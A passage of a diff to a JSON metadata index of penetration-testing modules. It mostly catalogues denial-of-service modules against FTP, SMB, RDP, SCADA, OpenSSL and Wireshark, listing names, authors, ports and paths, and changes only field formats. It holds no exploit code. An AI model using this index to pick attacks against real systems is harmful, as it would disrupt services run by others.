"targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb", "is_install_path": true, @@ -6384,7 +5944,7 @@ "name": "MS02-063 PPTP Malformed Control Data Kernel Denial of Service", "full_name": "auxiliary/dos/pptp/ms02_063_pptp_dos", "rank": 300, - "disclosure_date": "2002-09-26 00:00:00 -0500", + "disclosure_date": "2002-09-26", "type": "auxiliary", "author": [ "aushack " @@ -6401,9 +5961,7 @@ "platform": "", "arch": "", "rport": "1723", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb", "is_install_path": true, @@ -6430,9 +5988,7 @@ "platform": "", "arch": "", "rport": "111", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/rpc/rpcbomb.rb", "is_install_path": true, @@ -6457,9 +6013,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb", "is_install_path": true, @@ -6484,9 +6038,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/samba/lsa_transnames_heap.rb", "is_install_path": true, @@ -6514,9 +6066,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb", "is_install_path": true, @@ -6543,9 +6093,7 @@ "platform": "", "arch": "", "rport": "8000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb", "is_install_path": true, @@ -6555,7 +6103,7 @@ "name": "Beckhoff TwinCAT SCADA PLC 2.11.0.2004 DoS", "full_name": "auxiliary/dos/scada/beckhoff_twincat", "rank": 300, - "disclosure_date": "2011-09-13 00:00:00 -0500", + "disclosure_date": "2011-09-13", "type": "auxiliary", "author": [ "Luigi Auriemma", @@ -6572,9 +6120,7 @@ "platform": "", "arch": "", "rport": "48899", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/scada/beckhoff_twincat.rb", "is_install_path": true, @@ -6584,7 +6130,7 @@ "name": "General Electric D20ME TFTP Server Buffer Overflow DoS", "full_name": "auxiliary/dos/scada/d20_tftp_overflow", "rank": 300, - "disclosure_date": "2012-01-19 00:00:00 -0600", + "disclosure_date": "2012-01-19", "type": "auxiliary", "author": [ "K. Reid Wightman ", @@ -6599,9 +6145,7 @@ "platform": "", "arch": "", "rport": "69", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/scada/d20_tftp_overflow.rb", "is_install_path": true, @@ -6611,7 +6155,7 @@ "name": "7-Technologies IGSS 9 IGSSdataServer.exe DoS", "full_name": "auxiliary/dos/scada/igss9_dataserver", "rank": 300, - "disclosure_date": "2011-12-20 00:00:00 -0600", + "disclosure_date": "2011-12-20", "type": "auxiliary", "author": [ "jfa" @@ -6627,9 +6171,7 @@ "platform": "", "arch": "", "rport": "12401", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/scada/igss9_dataserver.rb", "is_install_path": true, @@ -6639,7 +6181,7 @@ "name": "Yokogawa CENTUM CS 3000 BKCLogSvr.exe Heap Buffer Overflow", "full_name": "auxiliary/dos/scada/yokogawa_logsvr", "rank": 300, - "disclosure_date": "2014-03-10 00:00:00 -0500", + "disclosure_date": "2014-03-10", "type": "auxiliary", "author": [ "juan vazquez ", @@ -6656,9 +6198,7 @@ "platform": "", "arch": "", "rport": "52302", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/scada/yokogawa_logsvr.rb", "is_install_path": true, @@ -6668,7 +6208,7 @@ "name": "SMBLoris NBSS Denial of Service", "full_name": "auxiliary/dos/smb/smb_loris", "rank": 300, - "disclosure_date": "2017-06-29 00:00:00 -0500", + "disclosure_date": "2017-06-29", "type": "auxiliary", "author": [ "thelightcosine", @@ -6683,9 +6223,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-23 14:55:18 +0000", "path": "/modules/auxiliary/dos/smb/smb_loris.rb", "is_install_path": true, @@ -6695,7 +6233,7 @@ "name": "Sendmail SMTP Address prescan Memory Corruption", "full_name": "auxiliary/dos/smtp/sendmail_prescan", "rank": 300, - "disclosure_date": "2003-09-17 00:00:00 -0500", + "disclosure_date": "2003-09-17", "type": "auxiliary", "author": [ "aushack " @@ -6712,9 +6250,7 @@ "platform": "", "arch": "", "rport": "25", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/dos/smtp/sendmail_prescan.rb", "is_install_path": true, @@ -6741,9 +6277,7 @@ "platform": "", "arch": "", "rport": "515", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb", "is_install_path": true, @@ -6753,7 +6287,7 @@ "name": "OpenSSL DTLS ChangeCipherSpec Remote DoS", "full_name": "auxiliary/dos/ssl/dtls_changecipherspec", "rank": 300, - "disclosure_date": "2000-04-26 00:00:00 -0500", + "disclosure_date": "2000-04-26", "type": "auxiliary", "author": [ "Jon Oberheide ", @@ -6769,9 +6303,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb", "is_install_path": true, @@ -6781,7 +6313,7 @@ "name": "OpenSSL DTLS Fragment Buffer Overflow DoS", "full_name": "auxiliary/dos/ssl/dtls_fragment_overflow", "rank": 300, - "disclosure_date": "2014-06-05 00:00:00 -0500", + "disclosure_date": "2014-06-05", "type": "auxiliary", "author": [ "Juri Aedla ", @@ -6800,9 +6332,7 @@ "platform": "", "arch": "", "rport": "4433", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb", "is_install_path": true, @@ -6812,7 +6342,7 @@ "name": "OpenSSL TLS 1.1 and 1.2 AES-NI DoS", "full_name": "auxiliary/dos/ssl/openssl_aesni", "rank": 300, - "disclosure_date": "2013-02-05 00:00:00 -0600", + "disclosure_date": "2013-02-05", "type": "auxiliary", "author": [ "Wolfgang Ettlinger " @@ -6827,9 +6357,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/ssl/openssl_aesni.rb", "is_install_path": true, @@ -6839,7 +6367,7 @@ "name": "rsyslog Long Tag Off-By-Two DoS", "full_name": "auxiliary/dos/syslog/rsyslog_long_tag", "rank": 300, - "disclosure_date": "2011-09-01 00:00:00 -0500", + "disclosure_date": "2011-09-01", "type": "auxiliary", "author": [ "hdm " @@ -6855,9 +6383,7 @@ "platform": "", "arch": "", "rport": "514", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb", "is_install_path": true, @@ -6867,7 +6393,7 @@ "name": "Claymore Dual GPU Miner Format String dos attack", "full_name": "auxiliary/dos/tcp/claymore_dos", "rank": 300, - "disclosure_date": "2018-02-06 00:00:00 -0600", + "disclosure_date": "2018-02-06", "type": "auxiliary", "author": [ "res1n", @@ -6884,9 +6410,7 @@ "platform": "", "arch": "", "rport": "3333", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-16 16:17:52 +0000", "path": "/modules/auxiliary/dos/tcp/claymore_dos.py", "is_install_path": true, @@ -6912,9 +6436,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/tcp/junos_tcp_opt.rb", "is_install_path": true, @@ -6938,9 +6460,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/tcp/synflood.rb", "is_install_path": true, @@ -6950,7 +6470,7 @@ "name": "MiniUPnPd 1.4 Denial of Service (DoS) Exploit", "full_name": "auxiliary/dos/upnp/miniupnpd_dos", "rank": 300, - "disclosure_date": "2013-03-27 00:00:00 -0500", + "disclosure_date": "2013-03-27", "type": "auxiliary", "author": [ "hdm ", @@ -6968,9 +6488,7 @@ "platform": "", "arch": "", "rport": "1900", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/upnp/miniupnpd_dos.rb", "is_install_path": true, @@ -6980,7 +6498,7 @@ "name": "Appian Enterprise Business Suite 5.6 SP1 DoS", "full_name": "auxiliary/dos/windows/appian/appian_bpm", "rank": 300, - "disclosure_date": "2007-12-17 00:00:00 -0600", + "disclosure_date": "2007-12-17", "type": "auxiliary", "author": [ "guiness.stout " @@ -6996,9 +6514,7 @@ "platform": "", "arch": "", "rport": "5400", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/appian/appian_bpm.rb", "is_install_path": true, @@ -7008,7 +6524,7 @@ "name": "Microsoft Windows EOT Font Table Directory Integer Overflow", "full_name": "auxiliary/dos/windows/browser/ms09_065_eot_integer", "rank": 300, - "disclosure_date": "2009-11-10 00:00:00 -0600", + "disclosure_date": "2009-11-10", "type": "auxiliary", "author": [ "hdm " @@ -7024,9 +6540,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb", "is_install_path": true, @@ -7036,7 +6550,7 @@ "name": "FileZilla FTP Server Admin Interface Denial of Service", "full_name": "auxiliary/dos/windows/ftp/filezilla_admin_user", "rank": 300, - "disclosure_date": "2005-11-07 00:00:00 -0600", + "disclosure_date": "2005-11-07", "type": "auxiliary", "author": [ "aushack " @@ -7053,9 +6567,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb", "is_install_path": true, @@ -7065,7 +6577,7 @@ "name": "FileZilla FTP Server Malformed PORT Denial of Service", "full_name": "auxiliary/dos/windows/ftp/filezilla_server_port", "rank": 300, - "disclosure_date": "2006-12-11 00:00:00 -0600", + "disclosure_date": "2006-12-11", "type": "auxiliary", "author": [ "aushack " @@ -7083,9 +6595,7 @@ "platform": "", "arch": "", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb", "is_install_path": true, @@ -7095,7 +6605,7 @@ "name": "Guild FTPd 0.999.8.11/0.999.14 Heap Corruption", "full_name": "auxiliary/dos/windows/ftp/guildftp_cwdlist", "rank": 300, - "disclosure_date": "2008-10-12 00:00:00 -0500", + "disclosure_date": "2008-10-12", "type": "auxiliary", "author": [ "kris katterjohn " @@ -7111,9 +6621,7 @@ "platform": "", "arch": "", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb", "is_install_path": true, @@ -7123,7 +6631,7 @@ "name": "Microsoft IIS FTP Server Encoded Response Overflow Trigger", "full_name": "auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof", "rank": 300, - "disclosure_date": "2010-12-21 00:00:00 -0600", + "disclosure_date": "2010-12-21", "type": "auxiliary", "author": [ "Matthew Bergin", @@ -7143,9 +6651,7 @@ "platform": "", "arch": "", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb", "is_install_path": true, @@ -7155,7 +6661,7 @@ "name": "Microsoft IIS FTP Server LIST Stack Exhaustion", "full_name": "auxiliary/dos/windows/ftp/iis_list_exhaustion", "rank": 300, - "disclosure_date": "2009-09-03 00:00:00 -0500", + "disclosure_date": "2009-09-03", "type": "auxiliary", "author": [ "Kingcope", @@ -7175,9 +6681,7 @@ "platform": "", "arch": "", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb", "is_install_path": true, @@ -7187,7 +6691,7 @@ "name": "Solar FTP Server Malformed USER Denial of Service", "full_name": "auxiliary/dos/windows/ftp/solarftp_user", "rank": 300, - "disclosure_date": "2011-02-22 00:00:00 -0600", + "disclosure_date": "2011-02-22", "type": "auxiliary", "author": [ "x000 <3d3n@hotmail.com.br>", @@ -7203,9 +6707,7 @@ "platform": "", "arch": "", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/ftp/solarftp_user.rb", "is_install_path": true, @@ -7215,7 +6717,7 @@ "name": "Titan FTP Server 6.26.630 SITE WHO DoS", "full_name": "auxiliary/dos/windows/ftp/titan626_site", "rank": 300, - "disclosure_date": "2008-10-14 00:00:00 -0500", + "disclosure_date": "2008-10-14", "type": "auxiliary", "author": [ "kris katterjohn " @@ -7231,9 +6733,7 @@ "platform": "", "arch": "", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/ftp/titan626_site.rb", "is_install_path": true, @@ -7243,7 +6743,7 @@ "name": "Victory FTP Server 5.0 LIST DoS", "full_name": "auxiliary/dos/windows/ftp/vicftps50_list", "rank": 300, - "disclosure_date": "2008-10-24 00:00:00 -0500", + "disclosure_date": "2008-10-24", "type": "auxiliary", "author": [ "kris katterjohn " @@ -7260,9 +6760,7 @@ "platform": "", "arch": "", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb", "is_install_path": true, @@ -7272,7 +6770,7 @@ "name": "WinFTP 2.3.0 NLST Denial of Service", "full_name": "auxiliary/dos/windows/ftp/winftp230_nlst", "rank": 300, - "disclosure_date": "2008-09-26 00:00:00 -0500", + "disclosure_date": "2008-09-26", "type": "auxiliary", "author": [ "kris katterjohn " @@ -7288,9 +6786,7 @@ "platform": "", "arch": "", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb", "is_install_path": true, @@ -7300,7 +6796,7 @@ "name": "XM Easy Personal FTP Server 5.6.0 NLST DoS", "full_name": "auxiliary/dos/windows/ftp/xmeasy560_nlst", "rank": 300, - "disclosure_date": "2008-10-13 00:00:00 -0500", + "disclosure_date": "2008-10-13", "type": "auxiliary", "author": [ "kris katterjohn " @@ -7316,9 +6812,7 @@ "platform": "", "arch": "", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb", "is_install_path": true, @@ -7328,7 +6822,7 @@ "name": "XM Easy Personal FTP Server 5.7.0 NLST DoS", "full_name": "auxiliary/dos/windows/ftp/xmeasy570_nlst", "rank": 300, - "disclosure_date": "2009-03-27 00:00:00 -0500", + "disclosure_date": "2009-03-27", "type": "auxiliary", "author": [ "kris katterjohn " @@ -7344,9 +6838,7 @@ "platform": "", "arch": "", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb", "is_install_path": true, @@ -7356,7 +6848,7 @@ "name": "Kaillera 0.86 Server Denial of Service", "full_name": "auxiliary/dos/windows/games/kaillera", "rank": 300, - "disclosure_date": "2011-07-02 00:00:00 -0500", + "disclosure_date": "2011-07-02", "type": "auxiliary", "author": [ "Sil3nt_Dre4m" @@ -7370,9 +6862,7 @@ "platform": "", "arch": "", "rport": "27888", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/dos/windows/games/kaillera.rb", "is_install_path": true, @@ -7382,7 +6872,7 @@ "name": "Microsoft IIS 6.0 ASP Stack Exhaustion Denial of Service", "full_name": "auxiliary/dos/windows/http/ms10_065_ii6_asp_dos", "rank": 300, - "disclosure_date": "2010-09-14 00:00:00 -0500", + "disclosure_date": "2010-09-14", "type": "auxiliary", "author": [ "Heyder Andrade ", @@ -7400,9 +6890,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb", "is_install_path": true, @@ -7412,7 +6900,7 @@ "name": "Pi3Web ISAPI DoS", "full_name": "auxiliary/dos/windows/http/pi3web_isapi", "rank": 300, - "disclosure_date": "2008-11-13 00:00:00 -0600", + "disclosure_date": "2008-11-13", "type": "auxiliary", "author": [ "kris katterjohn " @@ -7428,9 +6916,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/http/pi3web_isapi.rb", "is_install_path": true, @@ -7440,7 +6926,7 @@ "name": "Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS", "full_name": "auxiliary/dos/windows/llmnr/ms11_030_dnsapi", "rank": 300, - "disclosure_date": "2011-04-12 00:00:00 -0500", + "disclosure_date": "2011-04-12", "type": "auxiliary", "author": [ "jduck " @@ -7456,9 +6942,7 @@ "platform": "", "arch": "", "rport": "5355", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb", "is_install_path": true, @@ -7468,7 +6952,7 @@ "name": "Microsoft Windows NAT Helper Denial of Service", "full_name": "auxiliary/dos/windows/nat/nat_helper", "rank": 300, - "disclosure_date": "2006-10-26 00:00:00 -0500", + "disclosure_date": "2006-10-26", "type": "auxiliary", "author": [ "MC " @@ -7484,9 +6968,7 @@ "platform": "", "arch": "", "rport": "53", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/nat/nat_helper.rb", "is_install_path": true, @@ -7496,7 +6978,7 @@ "name": "MS12-020 Microsoft Remote Desktop Use-After-Free DoS", "full_name": "auxiliary/dos/windows/rdp/ms12_020_maxchannelids", "rank": 300, - "disclosure_date": "2012-03-16 00:00:00 -0500", + "disclosure_date": "2012-03-16", "type": "auxiliary", "author": [ "Luigi Auriemma", @@ -7521,9 +7003,7 @@ "platform": "", "arch": "", "rport": "3389", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb", "is_install_path": true, @@ -7550,9 +7030,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb", "is_install_path": true, @@ -7562,7 +7040,7 @@ "name": "Microsoft SRV.SYS Mailslot Write Corruption", "full_name": "auxiliary/dos/windows/smb/ms06_035_mailslot", "rank": 300, - "disclosure_date": "2006-07-11 00:00:00 -0500", + "disclosure_date": "2006-07-11", "type": "auxiliary", "author": [ "hdm " @@ -7580,9 +7058,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb", "is_install_path": true, @@ -7609,9 +7085,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb", "is_install_path": true, @@ -7638,9 +7112,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/smb/ms09_001_write.rb", "is_install_path": true, @@ -7670,9 +7142,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb", "is_install_path": true, @@ -7698,9 +7168,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb", "is_install_path": true, @@ -7728,9 +7196,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb", "is_install_path": true, @@ -7758,9 +7224,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb", "is_install_path": true, @@ -7790,9 +7254,7 @@ "platform": "", "arch": "", "rport": "138", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb", "is_install_path": true, @@ -7802,7 +7264,7 @@ "name": "Microsoft RRAS InterfaceAdjustVLSPointers NULL Dereference", "full_name": "auxiliary/dos/windows/smb/rras_vls_null_deref", "rank": 300, - "disclosure_date": "2006-06-14 00:00:00 -0500", + "disclosure_date": "2006-06-14", "type": "auxiliary", "author": [ "hdm " @@ -7816,9 +7278,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb", "is_install_path": true, @@ -7842,9 +7302,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb", "is_install_path": true, @@ -7854,7 +7312,7 @@ "name": "MS06-019 Exchange MODPROP Heap Overflow", "full_name": "auxiliary/dos/windows/smtp/ms06_019_exchange", "rank": 300, - "disclosure_date": "2004-11-12 00:00:00 -0600", + "disclosure_date": "2004-11-12", "type": "auxiliary", "author": [ "pusscat " @@ -7870,9 +7328,7 @@ "platform": "", "arch": "", "rport": "25", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb", "is_install_path": true, @@ -7882,7 +7338,7 @@ "name": "Sysax Multi-Server 6.10 SSHD Key Exchange Denial of Service", "full_name": "auxiliary/dos/windows/ssh/sysax_sshd_kexchange", "rank": 300, - "disclosure_date": "2013-03-17 00:00:00 -0500", + "disclosure_date": "2013-03-17", "type": "auxiliary", "author": [ "Matt \"hostess\" Andreko " @@ -7897,9 +7353,7 @@ "platform": "", "arch": "", "rport": "22", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb", "is_install_path": true, @@ -7909,7 +7363,7 @@ "name": "PacketTrap TFTP Server 2.2.5459.0 DoS", "full_name": "auxiliary/dos/windows/tftp/pt360_write", "rank": 300, - "disclosure_date": "2008-10-29 00:00:00 -0500", + "disclosure_date": "2008-10-29", "type": "auxiliary", "author": [ "kris katterjohn " @@ -7925,9 +7379,7 @@ "platform": "", "arch": "", "rport": "69", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/tftp/pt360_write.rb", "is_install_path": true, @@ -7937,7 +7389,7 @@ "name": "SolarWinds TFTP Server 10.4.0.10 Denial of Service", "full_name": "auxiliary/dos/windows/tftp/solarwinds", "rank": 300, - "disclosure_date": "2010-05-21 00:00:00 -0500", + "disclosure_date": "2010-05-21", "type": "auxiliary", "author": [ "Nullthreat" @@ -7953,9 +7405,7 @@ "platform": "", "arch": "", "rport": "69", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/tftp/solarwinds.rb", "is_install_path": true, @@ -7965,7 +7415,7 @@ "name": "Wireshark CAPWAP Dissector DoS", "full_name": "auxiliary/dos/wireshark/capwap", "rank": 300, - "disclosure_date": "2014-04-28 00:00:00 -0500", + "disclosure_date": "2014-04-28", "type": "auxiliary", "author": [ "Laurent Butti", @@ -7982,9 +7432,7 @@ "platform": "", "arch": "", "rport": "5247", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/wireshark/capwap.rb", "is_install_path": true, @@ -7994,7 +7442,7 @@ "name": "Wireshark chunked_encoding_dissector Function DOS", "full_name": "auxiliary/dos/wireshark/chunked", "rank": 300, - "disclosure_date": "2007-02-22 00:00:00 -0600", + "disclosure_date": "2007-02-22", "type": "auxiliary", "author": [ "Matteo Cantoni " @@ -8010,9 +7458,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/wireshark/chunked.rb", "is_install_path": true, @@ -8022,7 +7468,7 @@ "name": "Wireshark CLDAP Dissector DOS", "full_name": "auxiliary/dos/wireshark/cldap", "rank": 300, - "disclosure_date": "2011-03-01 00:00:00 -0600", + "disclosure_date": "2011-03-01", "type": "auxiliary", "author": [ "joernchen (Phenoelit)>" @@ -8039,9 +7485,7 @@ "platform": "", "arch": "", "rport": "389", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/wireshark/cldap.rb", "is_install_path": true, @@ -8051,7 +7495,7 @@ "name": "Wireshark LDAP Dissector DOS", "full_name": "auxiliary/dos/wireshark/ldap", "rank": 300, - "disclosure_date": "2008-03-28 00:00:00 -0500", + "disclosure_date": "2008-03-28", "type": "auxiliary", "author": [ "MC " @@ -8066,9 +7510,7 @@ "platform": "", "arch": "", "rport": "389", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/wireshark/ldap.rb", "is_install_path": true, @@ -8096,9 +7538,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-12 22:55:38 +0000", "path": "/modules/auxiliary/fileformat/badpdf.rb", "is_install_path": true, @@ -8124,9 +7564,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-10 21:53:40 +0000", "path": "/modules/auxiliary/fileformat/multidrop.rb", "is_install_path": true, @@ -8136,7 +7574,7 @@ "name": "LibreOffice 6.03 /Apache OpenOffice 4.1.5 Malicious ODT File Generator", "full_name": "auxiliary/fileformat/odt_badodt", "rank": 300, - "disclosure_date": "2018-05-01 00:00:00 +0000", + "disclosure_date": "2018-05-01", "type": "auxiliary", "author": [ "Richard Davy - secureyourit.co.uk" @@ -8151,9 +7589,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-06 11:26:20 +0000", "path": "/modules/auxiliary/fileformat/odt_badodt.rb", "is_install_path": true, @@ -8177,9 +7613,7 @@ "platform": "", "arch": "", "rport": "53", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb", "is_install_path": true, @@ -8203,9 +7637,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/ftp/client_ftp.rb", "is_install_path": true, @@ -8230,9 +7662,7 @@ "platform": "", "arch": "", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb", "is_install_path": true, @@ -8257,9 +7687,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/http/http_form_field.rb", "is_install_path": true, @@ -8283,9 +7711,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/http/http_get_uri_long.rb", "is_install_path": true, @@ -8309,9 +7735,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb", "is_install_path": true, 